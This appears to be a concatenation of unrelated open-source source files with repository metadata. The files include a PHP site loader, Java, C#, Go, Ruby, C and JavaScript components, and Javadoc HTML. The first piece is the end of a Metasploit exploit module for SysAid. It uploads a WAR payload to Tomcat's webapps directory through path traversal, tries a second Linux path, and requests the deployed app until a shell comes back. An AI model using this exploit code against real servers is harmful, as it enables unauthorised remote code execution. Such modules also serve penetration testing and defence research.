normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), 'ctype' => 'application/xml', 'vars_get' => { 'rdsName' => bogus_file } }) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s send_payload(war_payload, 'tomcat/webapps/', app_base) register_files_for_cleanup("tomcat/webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming return if res.code == 200 end print_error("#{peer} - Failed to launch payload. Trying one last time with a different path...") # OK this might be a Linux server, it's a different traversal path. # Let's try again... send_payload(war_payload, '', app_base) register_files_for_cleanup("webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end
cSploit/android.MSF
modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
Ruby
gpl-3.0
5,636
<?php $PHP_SELF = "index.php"; include 'includes/config.in.php'; include 'includes/function.in.php'; include 'includes/class.mysql.php'; include 'lang/thai_utf8.php'; include 'includes/array.in.php'; include 'includes/class.ban.php'; include 'includes/class.calendar.php'; header( 'Content-Type:text/html; charset='.ISO); $db = New DB(); $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); // Make sure you're using correct paths here $admin_user = empty($_SESSION['admin_user']) ? '' : $_SESSION['admin_user']; $admin_pwd = empty($_SESSION['admin_pwd']) ? '' : $_SESSION['admin_pwd']; $login_true = empty($_SESSION['login_true']) ? '' : $_SESSION['login_true']; $pwd_login = empty($_SESSION['pwd_login']) ? '' : $_SESSION['pwd_login']; $op = filter_input(INPUT_GET, 'op', FILTER_SANITIZE_STRING); $action = filter_input(INPUT_GET, 'action', FILTER_SANITIZE_STRING); $page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING); $category = filter_input(INPUT_GET, 'category', FILTER_SANITIZE_STRING); $loop = empty($_POST['loop']) ? '' : $_POST['loop']; $IPADDRESS = get_real_ip(); function GETMODULE($name, $file){ global $MODPATH, $MODPATHFILE ; $targetPath = WEB_PATH; $files = str_replace('../', '', $file); $names = str_replace('../', '', $name); $modpathfile = WEB_PATH."/modules/".$names."/".$files.".php"; if (file_exists($modpathfile)) { $MODPATHFILE = $modpathfile; $MODPATH = WEB_PATH."/modules/".$names."/"; }else{ die (_NO_MOD); } } $home = WEB_URL; $admin_email = WEB_EMAIL; $yourcode = "web"; $member_num_show = 5; $member_num_show_last = 5; $member_num_last = 1; $bkk= mktime(gmdate("H")+7,gmdate("i")+0,gmdate("s"),gmdate("m") ,gmdate("d"),gmdate("Y")); $datetimeformat="j/m/y - H:i"; $now = date($datetimeformat,$bkk); //$timestamp = time(); //$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); //$query = $db->select_query("SELECT * FROM ".TB_useronline." where timeout < $timestamp"); //while ($user3 = $db->fetch($query)){ // if ($login_true==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$login_true."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else if ($admin_user==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$admin_user."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else { // $db->del(TB_useronline," timeout < $timestamp "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } //} include 'templates/'.WEB_TEMPLATES.'/function.php';
robocon/atomymaxsite
mainfile.php
PHP
gpl-3.0
2,756
<script> {literal} var columns = 5; var padding = 12; var grid_width = $('.col').width(); grid_width = grid_width - (columns * padding); percentage_width = grid_width / 100; $('#manageGrid').flexigrid ( { url: 'index.php?module=user&view=xml', dataType: 'xml', // @formatter:off colModel : [ {display: '{/literal}{$LANG.actions}{literal}' , name : 'actions' , width : 10 * percentage_width, sortable : false, align: 'center'}, {display: '{/literal}{$LANG.email}{literal}' , name : 'email' , width : 40 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'role' , width : 30 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.enabled}{literal}' , name : 'enabled' , width : 10 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.users}{literal}' , name : 'user_id' , width : 10 * percentage_width, sortable : true , align: 'left'} ], searchitems : [ {display: '{/literal}{$LANG.email}{literal}' , name : 'email'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'ur.name'} ], // @formatter:on sortname: 'name', sortorder: 'asc', usepager: true, pagestat: '{/literal}{$LANG.displaying_items}{literal}', procmsg: '{/literal}{$LANG.processing}{literal}', nomsg: '{/literal}{$LANG.no_items}{literal}', pagemsg: '{/literal}{$LANG.page}{literal}', ofmsg: '{/literal}{$LANG.of}{literal}', useRp: false, rp: 25, showToggleBtn: false, showTableToggleBtn: false, height: 'auto' } ); {/literal} </script>
fearless359/simpleinvoices_zend2
modules/user/manage.js.php
PHP
gpl-3.0
1,674
package ca.nrc.cadc.ulm.client;/* ************************************************************************ ******************* CANADIAN ASTRONOMY DATA CENTRE ******************* ************** CENTRE CANADIEN DE DONNÉES ASTRONOMIQUES ************** * * (c) 2016. (c) 2016. * Government of Canada Gouvernement du Canada * National Research Council Conseil national de recherches * Ottawa, Canada, K1A 0R6 Ottawa, Canada, K1A 0R6 * All rights reserved Tous droits réservés * * NRC disclaims any warranties, Le CNRC dénie toute garantie * expressed, implied, or énoncée, implicite ou légale, * statutory, of any kind with de quelque nature que ce * respect to the software, soit, concernant le logiciel, * including without limitation y compris sans restriction * any warranty of merchantability toute garantie de valeur * or fitness for a particular marchande ou de pertinence * purpose. NRC shall not be pour un usage particulier. * liable in any event for any Le CNRC ne pourra en aucun cas * damages, whether direct or être tenu responsable de tout * indirect, special or general, dommage, direct ou indirect, * consequential or incidental, particulier ou général, * arising from the use of the accessoire ou fortuit, résultant * software. Neither the name de l'utilisation du logiciel. Ni * of the National Research le nom du Conseil National de * Council of Canada nor the Recherches du Canada ni les noms * names of its contributors may de ses participants ne peuvent * be used to endorse or promote être utilisés pour approuver ou * products derived from this promouvoir les produits dérivés * software without specific prior de ce logiciel sans autorisation * written permission. préalable et particulière * par écrit. * * This file is part of the Ce fichier fait partie du projet * OpenCADC project. OpenCADC. * * OpenCADC is free software: OpenCADC est un logiciel libre ; * you can redistribute it and/or vous pouvez le redistribuer ou le * modify it under the terms of modifier suivant les termes de * the GNU Affero General Public la “GNU Affero General Public * License as published by the License” telle que publiée * Free Software Foundation, par la Free Software Foundation * either version 3 of the : soit la version 3 de cette * License, or (at your option) licence, soit (à votre gré) * any later version. toute version ultérieure. * * OpenCADC is distributed in the OpenCADC est distribué * hope that it will be useful, dans l’espoir qu’il vous * but WITHOUT ANY WARRANTY; sera utile, mais SANS AUCUNE * without even the implied GARANTIE : sans même la garantie * warranty of MERCHANTABILITY implicite de COMMERCIALISABILITÉ * or FITNESS FOR A PARTICULAR ni d’ADÉQUATION À UN OBJECTIF * PURPOSE. See the GNU Affero PARTICULIER. Consultez la Licence * General Public License for Générale Publique GNU Affero * more details. pour plus de détails. * * You should have received Vous devriez avoir reçu une * a copy of the GNU Affero copie de la Licence Générale * General Public License along Publique GNU Affero avec * with OpenCADC. If not, see OpenCADC ; si ce n’est * <http://www.gnu.org/licenses/>. pas le cas, consultez : * <http://www.gnu.org/licenses/>. * * ************************************************************************ */ import java.io.File; import java.net.URISyntaxException; public class FileLoader { public static File fromClasspath(final String name) throws URISyntaxException { return new File(FileLoader.class.getClassLoader().getResource(name) .toURI()); } }
opencadc/apps
cadc-upload-manager/src/test/java/ca/nrc/cadc/ulm/client/FileLoader.java
Java
gpl-3.0
4,358
/******************************************************************************* * This file is part of Minebot. * * Minebot is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Minebot is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Minebot. If not, see <http://www.gnu.org/licenses/>. *******************************************************************************/ package net.famzangl.minecraft.minebot.build.block; import net.famzangl.minecraft.minebot.ai.BlockItemFilter; import net.minecraft.item.ItemBlock; import net.minecraft.item.ItemStack; /** * A filter that filters for half slabs. * * @author michael * */ public class SlabFilter extends BlockItemFilter { private final SlabType type; public SlabFilter(SlabType type) { super(type.slabBlock); this.type = type; } @Override protected boolean matchesItem(ItemStack itemStack, ItemBlock item) { return super.matchesItem(itemStack, item) && (itemStack.getItemDamage() & 7) == type.meta; } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + (type == null ? 0 : type.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (!super.equals(obj)) { return false; } if (getClass() != obj.getClass()) { return false; } final SlabFilter other = (SlabFilter) obj; if (type != other.type) { return false; } return true; } @Override public String getDescription() { return type.toString().toLowerCase() + " slabs"; } }
iAmRinzler/minebot
Minebot/src/net/famzangl/minecraft/minebot/build/block/SlabFilter.java
Java
gpl-3.0
2,030
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.sshd.agent.unix; import java.io.IOException; import java.io.InterruptedIOException; import java.util.Queue; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.ExecutorService; import java.util.concurrent.Future; import java.util.concurrent.atomic.AtomicBoolean; import org.apache.sshd.agent.common.AbstractAgentProxy; import org.apache.sshd.common.SshException; import org.apache.sshd.common.util.buffer.Buffer; import org.apache.sshd.common.util.buffer.ByteArrayBuffer; import org.apache.sshd.common.util.threads.ThreadUtils; import org.apache.tomcat.jni.Local; import org.apache.tomcat.jni.Pool; import org.apache.tomcat.jni.Socket; import org.apache.tomcat.jni.Status; /** * A client for a remote SSH agent */ public class AgentClient extends AbstractAgentProxy implements Runnable { private final String authSocket; private final long pool; private final long handle; private final Buffer receiveBuffer; private final Queue<Buffer> messages; private Future<?> pumper; private final AtomicBoolean open = new AtomicBoolean(true); public AgentClient(String authSocket) throws IOException { this(authSocket, null, false); } public AgentClient(String authSocket, ExecutorService executor, boolean shutdownOnExit) throws IOException { this.authSocket = authSocket; setExecutorService((executor == null) ? ThreadUtils.newSingleThreadExecutor("AgentClient[" + authSocket + "]") : executor); setShutdownOnExit((executor == null) ? true : shutdownOnExit); try { pool = Pool.create(AprLibrary.getInstance().getRootPool()); handle = Local.create(authSocket, pool); int result = Local.connect(handle, 0); if (result != Status.APR_SUCCESS) { throwException(result); } receiveBuffer = new ByteArrayBuffer(); messages = new ArrayBlockingQueue<Buffer>(10); ExecutorService service = getExecutorService(); pumper = service.submit(this); } catch (IOException e) { throw e; } catch (Exception e) { throw new SshException(e); } } @Override public boolean isOpen() { return open.get(); } @Override public void run() { try { byte[] buf = new byte[1024]; while (isOpen()) { int result = Socket.recv(handle, buf, 0, buf.length); if (result < Status.APR_SUCCESS) { throwException(result); } messageReceived(new ByteArrayBuffer(buf, 0, result)); } } catch (Exception e) { if (isOpen()) { log.warn(e.getClass().getSimpleName() + " while still open: " + e.getMessage()); } else { if (log.isDebugEnabled()) { log.debug("Closed client loop exception", e); } } } finally { try { close(); } catch (IOException e) { if (log.isDebugEnabled()) { log.debug(e.getClass().getSimpleName() + " while closing: " + e.getMessage()); } } } } protected void messageReceived(Buffer buffer) throws Exception { Buffer message = null; synchronized (receiveBuffer) { receiveBuffer.putBuffer(buffer); if (receiveBuffer.available() >= 4) { int rpos = receiveBuffer.rpos(); int len = receiveBuffer.getInt(); receiveBuffer.rpos(rpos); if (receiveBuffer.available() >= 4 + len) { message = new ByteArrayBuffer(receiveBuffer.getBytes()); receiveBuffer.compact(); } } } if (message != null) { synchronized (messages) { messages.offer(message); messages.notifyAll(); } } } @Override public void close() throws IOException { if (open.getAndSet(false)) { Socket.close(handle); } if ((pumper != null) && isShutdownOnExit() && (!pumper.isDone())) { pumper.cancel(true); } super.close(); } @Override protected synchronized Buffer request(Buffer buffer) throws IOException { int wpos = buffer.wpos(); buffer.wpos(0); buffer.putInt(wpos - 4); buffer.wpos(wpos); synchronized (messages) { try { int result = Socket.send(handle, buffer.array(), buffer.rpos(), buffer.available()); if (result < Status.APR_SUCCESS) { throwException(result); } if (messages.isEmpty()) { messages.wait(); } return messages.poll(); } catch (InterruptedException e) { throw (IOException) new InterruptedIOException(authSocket + ": Interrupted while polling for messages").initCause(e); } } } /** * transform an APR error number in a more fancy exception * * @param code APR error code * @throws java.io.IOException the produced exception for the given APR error number */ private void throwException(int code) throws IOException { throw new IOException( org.apache.tomcat.jni.Error.strerror(-code) + " (code: " + code + ")"); } }
Niky4000/UsefulUtils
projects/ssh/apache_mina/apache-sshd-1.2.0/sshd-core/src/main/java/org/apache/sshd/agent/unix/AgentClient.java
Java
gpl-3.0
6,427
<?php /****************************************************************************** * * * This file is part of RPB Calendar, a Wordpress plugin. * * Copyright (C) 2014 Yoann Le Montagner <yo35 -at- melix.net> * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program. If not, see <http://www.gnu.org/licenses/>. * * * ******************************************************************************/ require_once(RPBCALENDAR_ABSPATH . 'models/abstract/customposteditlist.php'); /** * Model for the table showing the list of event categories. */ class RPBCalendarModelCategoryList extends RPBCalendarAbstractModelCustomPostEditList { public function __construct() { parent::__construct(); $this->loadTrait('Category'); $this->loadTrait('AdminPageURLs'); } }
yo35/rpb-calendar
models/categorylist.php
PHP
gpl-3.0
1,899
using System.Runtime.InteropServices; using System.Security; using System; using System.Runtime.Remoting.Contexts; using System.Runtime.Remoting; using System.Runtime.Remoting.Activation; namespace System.Runtime.Remoting.Proxies { /// <summary>Indicates that an object type requires a custom proxy.</summary> [ComVisibleAttribute(true)] [SecurityCriticalAttribute()] [AttributeUsageAttribute(AttributeTargets.Class, AllowMultiple = false, Inherited = true)] public class ProxyAttribute : Attribute, IContextAttribute { public ProxyAttribute() { throw new NotImplementedException(); } /// <summary>Creates either an uninitialized <see cref="T:System.MarshalByRefObject" /> or a transparent proxy, depending on whether the specified type can exist in the current context.</summary><returns>An uninitialized <see cref="T:System.MarshalByRefObject" /> or a transparent proxy.</returns><param name="serverType">The object type to create an instance of. </param><PermissionSet><IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" /><IPermission class="System.Security.Permissions.ReflectionPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="MemberAccess" /><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence, Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] public virtual MarshalByRefObject CreateInstance(Type serverType) { throw new NotImplementedException(); } /// <summary>Creates an instance of a remoting proxy for a remote object described by the specified <see cref="T:System.Runtime.Remoting.ObjRef" />, and located on the server.</summary><returns>The new instance of remoting proxy for the remote object that is described in the specified <see cref="T:System.Runtime.Remoting.ObjRef" />.</returns><param name="objRef">The object reference to the remote object for which to create a proxy. </param><param name="serverType">The type of the server where the remote object is located. </param><param name="serverObject">The server object. </param><param name="serverContext">The context in which the server object is located. </param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] public virtual RealProxy CreateProxy(ObjRef objRef, Type serverType, object serverObject, Context serverContext) { throw new NotImplementedException(); } /// <summary>Checks the specified context.</summary><returns>The specified context.</returns><param name="ctx">The context to be verified.</param><param name="msg">The message for the remote call.</param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [ComVisibleAttribute(true)] [SecurityCriticalAttribute()] public bool IsContextOK(Context ctx, IConstructionCallMessage msg) { throw new NotImplementedException(); } /// <summary>Gets properties for a new context.</summary><param name="msg">The message for which the context is to be retrieved.</param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] [ComVisibleAttribute(true)] public void GetPropertiesForNewContext(IConstructionCallMessage msg) { throw new NotImplementedException(); } } }
zebraxxl/CIL2Java
StdLibs/corlib/System/Runtime/Remoting/Proxies/ProxyAttribute.cs
C#
gpl-3.0
4,267
package script import ( evbus "github.com/asaskevich/EventBus" "github.com/mudler/artemide/pkg/context" plugin "github.com/mudler/artemide/plugin" jww "github.com/spf13/jwalterweatherman" ) // Script construct the container arguments from the boson file type Script struct{} // Process builds a list of packages from the boson file func (s *Script) Register(bus *evbus.EventBus, context *context.Context) { //returns args and volumes to mount bus.Subscribe("artemide:start", Start) //Subscribing to artemide:start, Hello will be called bus.Subscribe("artemide:artifact:recipe:script:event:after_unpack", afterUnpackHandler) //Subscribing to artemide:artifact:recipe:script:event:after_unpack, the After unpack handler } func afterUnpackHandler() { jww.DEBUG.Printf("afterUnpackHandler() called") } func Start() { jww.DEBUG.Printf("[recipe] Script is available") } func init() { plugin.RegisterRecipe(&Script{}) }
mudler/artemide
plugin/recipe/script/script.go
GO
gpl-3.0
978
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="es"> <head> <!-- Generated by javadoc (1.8.0_101) on Sat Jun 10 15:46:50 COT 2017 --> <title>E-Index</title> <meta name="date" content="2017-06-10"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> <script type="text/javascript" src="../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="E-Index"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../overview-summary.html">Overview</a></li> <li>Package</li> <li>Class</li> <li>Use</li> <li><a href="../overview-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li class="navBarCell1Rev">Index</li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="index-3.html">Prev Letter</a></li> <li><a href="index-5.html">Next Letter</a></li> </ul> <ul class="navList"> <li><a href="../index.html?index-files/index-4.html" target="_top">Frames</a></li> <li><a href="index-4.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="contentContainer"><a href="index-1.html">A</a>&nbsp;<a href="index-2.html">C</a>&nbsp;<a href="index-3.html">D</a>&nbsp;<a href="index-4.html">E</a>&nbsp;<a href="index-5.html">F</a>&nbsp;<a href="index-6.html">G</a>&nbsp;<a href="index-7.html">I</a>&nbsp;<a href="index-8.html">L</a>&nbsp;<a href="index-9.html">M</a>&nbsp;<a href="index-10.html">O</a>&nbsp;<a href="index-11.html">P</a>&nbsp;<a href="index-12.html">Q</a>&nbsp;<a href="index-13.html">R</a>&nbsp;<a href="index-14.html">S</a>&nbsp;<a href="index-15.html">T</a>&nbsp;<a href="index-16.html">U</a>&nbsp;<a href="index-17.html">V</a>&nbsp;<a href="index-18.html">W</a>&nbsp;<a name="I:E"> <!-- --> </a> <h2 class="title">E</h2> <dl> <dt><span class="memberNameLink"><a href="../com/tour/model/managed/MB_Login.html#eContext">eContext</a></span> - Variable in class com.tour.model.managed.<a href="../com/tour/model/managed/MB_Login.html" title="class in com.tour.model.managed">MB_Login</a></dt> <dd>&nbsp;</dd> </dl> <a href="index-1.html">A</a>&nbsp;<a href="index-2.html">C</a>&nbsp;<a href="index-3.html">D</a>&nbsp;<a href="index-4.html">E</a>&nbsp;<a href="index-5.html">F</a>&nbsp;<a href="index-6.html">G</a>&nbsp;<a href="index-7.html">I</a>&nbsp;<a href="index-8.html">L</a>&nbsp;<a href="index-9.html">M</a>&nbsp;<a href="index-10.html">O</a>&nbsp;<a href="index-11.html">P</a>&nbsp;<a href="index-12.html">Q</a>&nbsp;<a href="index-13.html">R</a>&nbsp;<a href="index-14.html">S</a>&nbsp;<a href="index-15.html">T</a>&nbsp;<a href="index-16.html">U</a>&nbsp;<a href="index-17.html">V</a>&nbsp;<a href="index-18.html">W</a>&nbsp;</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../overview-summary.html">Overview</a></li> <li>Package</li> <li>Class</li> <li>Use</li> <li><a href="../overview-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li class="navBarCell1Rev">Index</li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="index-3.html">Prev Letter</a></li> <li><a href="index-5.html">Next Letter</a></li> </ul> <ul class="navList"> <li><a href="../index.html?index-files/index-4.html" target="_top">Frames</a></li> <li><a href="index-4.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
mrsistemasytecnologia/aplicaciones
WSGoSmartEJB/doc/index-files/index-4.html
HTML
gpl-3.0
5,317
#ifndef _INTEGRAL_H_ #define _INTEGRAL_H_ double i1 ( double x ); double di1 (double x ); double ddi1 (double x) ; double ddi1_L (double x, double l) ; double di1_L (double x , double l); double i1_L ( double x , double l) ; double ib ( double s , const gsl_vector * v ); // v(0) = x double dibdx (double s , const gsl_vector * v ); // v(1) = phi double ddibdxx (double s , const gsl_vector * v ); // v(2) = bar(phi) #endif // _INTEGRAL_H_
AlexandreBiguet/NJLlikeModels
legacy/programs/njl-0/quick-n-dirty/integral.h
C
gpl-3.0
456
class KuiristoWeb # # Recipe # head '/recipe/:source/:x/:id.raw' do |source,x,id| src = Kuiristo.source(source) # Find recipe and get rawid row = DB[:recipes].select(:rawid) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! # Get raw data row = DB[:rawdata].select(:updated) .first(:source => src::ID, :id => row[:rawid]) last_modified row[:updated] end get '/recipe/:source/:x/:id.raw' do |source,x,id| src = Kuiristo.source(source) # Find recipe and get rawid row = DB[:recipes].select(:rawid) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! # Get raw data row = DB[:rawdata].select(:zdata, :updated) .first(:source => src::ID, :id => row[:rawid]) last_modified row[:updated] data = Zlib::Inflate.inflate(row[:zdata]) content_type :text begin JSON.parse(data) content_type :json rescue JSON::ParserError end data end head '/recipe/:source/:x/:id.:fmt' do |source,x,id,fmt| src = Kuiristo.source(source) row = DB[:recipes].select(:updated) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! not_found if ![ 'xml', 'html' ].include?(fmt) last_modified row[:updated] end get '/recipe/:source/:x/:id.:fmt' do |source,x,id,fmt| src = Kuiristo.source(source) row = DB[:recipes].select(:zxml, :updated) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! xmltxt = Zlib::Inflate.inflate(row[:zxml]) last_modified row[:updated] case fmt when 'xml' content_type :xml xmltxt when 'html' # Recipe recipe = Kuiristo::Recipe.from_xml(xmltxt) # Recipe profil iprofils = DB[:recipe_ingredient] .left_join(:ingredients, :id => :ingredient) .where(:source => src::ID, :recipe => id.to_i) .select(:profil) .map(:profil) profil = VEGPROFILS.find(proc {[ 'unknown', 'Inconnu' ]}) {|k, v| iprofils.include?(k) } profil = [ 'ambiguous', 'Ambigu' ] if profil[0].nil? # Recipe categories tags = DB[:recipe_category] .left_join(:categories_for_recipes, :id => :category) .where(:source => src::ID, :recipe => id) .select(:id, :group, :name) .all # Render title recipe.name erb :recipe, :locals => { :recipe => recipe, :profil => profil, :tags => tags, } else not_found end end end
sdalu/kuiristo
app/recipe.rb
Ruby
gpl-3.0
3,314
OJ.importCss('nw.components.NwTray'); OJ.extendComponent( 'NwTray', [OjComponent], { '_props_' : { 'actuator' : null, 'allowSlide' : false, 'tray' : null }, '_template' : 'nw.components.NwTray', '_is_open' : false, // '_tray_anim' : null, '_constructor' : function(/*actuator, allowSlide = false unless native and mobile*/){ this._super(OjComponent, '_constructor', []); this._processArguments(arguments, { 'actuator' : undefined, 'allowSlide' : OJ.is_mobile && NW.isNative }); }, '_startTrayAnim' : function(tray_amount, content_amount){ var easing = OjEasing.STRONG_OUT, dir = OjMove.X; this._stopTrayAnim(); this._tray_anim = new OjTweenSet( new OjMove(this.panel, dir, tray_amount, 250, easing), new OjMove(this.container, dir, content_amount, 250, easing) ); this._tray_anim.addEventListener(OjTweenEvent.COMPLETE, this, '_onAnimComplete'); this._tray_anim.start(); }, '_stopTrayAnim' : function(){ this._unset('_tray_anim'); }, '_updateActuatorListeners' : function(action){ if(this._actuator){ this._actuator[action + 'EventListener'](OjUiEvent.PRESS, this, '_onActuatorClick'); } }, '_updateContainerListeners' : function(action){ this.container[action + 'EventListener'](OjUiEvent.DOWN, this, '_onTrayBlur'); }, '_updateDragListeners' : function(action){ if(this._actuator){ this._actuator[action + 'EventListener'](OjDragEvent.START, this, '_onActuatorDragStart'); this._actuator[action + 'EventListener'](OjDragEvent.MOVE, this, '_onActuatorDragMove'); } }, '_onActuatorClick' : function(evt){ this.toggleTray(); }, '_onActuatorDragMove' : function(evt){ }, '_onActuatorDragStart' : function(evt){ }, '_onAnimComplete' : function(evt){ this._stopTrayAnim(); if(this._callback){ this._callback(); this._callback = null; } }, '_onTrayBlur' : function(evt){ this.hideTray(); }, 'hideTray' : function(callback){ if(!this._is_open){ if(callback){ callback(); } return; } this._callback = callback; this._startTrayAnim(this.width * -.6, 0); this._updateContainerListeners(OjActionable.REMOVE); this._is_open = false; }, 'showTray' : function(callback){ if(this._is_open){ if(callback){ callback(); } return; } this._callback = callback; var w = this.width * .6; this.panel.width = w; this.panel.x = -1 * w; this._startTrayAnim(0, w); this._is_open = true; }, 'toggleTray' : function(/*val*/){ if(this._is_open){ this.hideTray(); } else{ this.showTray(); } }, '=actuator' : function(val){ if(this._actuator == val){ return; } this._updateActuatorListeners(OjActionable.REMOVE); this._updateDragListeners(OjActionable.REMOVE); this._actuator = val; this._updateActuatorListeners(OjActionable.ADD); if(this._allowSlide){ this._updateDragListeners(OjActionable.ADD); } }, '=allowSlide' : function(val){ if(this._allowSlide == val){ return; } this._updateDragListeners((this._allowSlide = val) ? OjActionable.ADD : OjActionable.REMOVE); }, '=tray' : function(val){ this.panel.removeAllChildren(); if(this._tray = val){ this.panel.appendChild(val); } }, '.trayPosition' : function(){ return this.container.x; }, '=trayPosition' : function(val){ var w = this.width * .6; this.panel.x = Math.max(Math.min(val - w, 0), -(w)); this.container.x = Math.min(Math.max(val, 0), w); // this._updateContainerListeners(OjActionable.ADD); } }, { '_TAGS' : ['tray'] } );
NuAge-Solutions/NW
src/js/components/NwTray.js
JavaScript
gpl-3.0
4,779
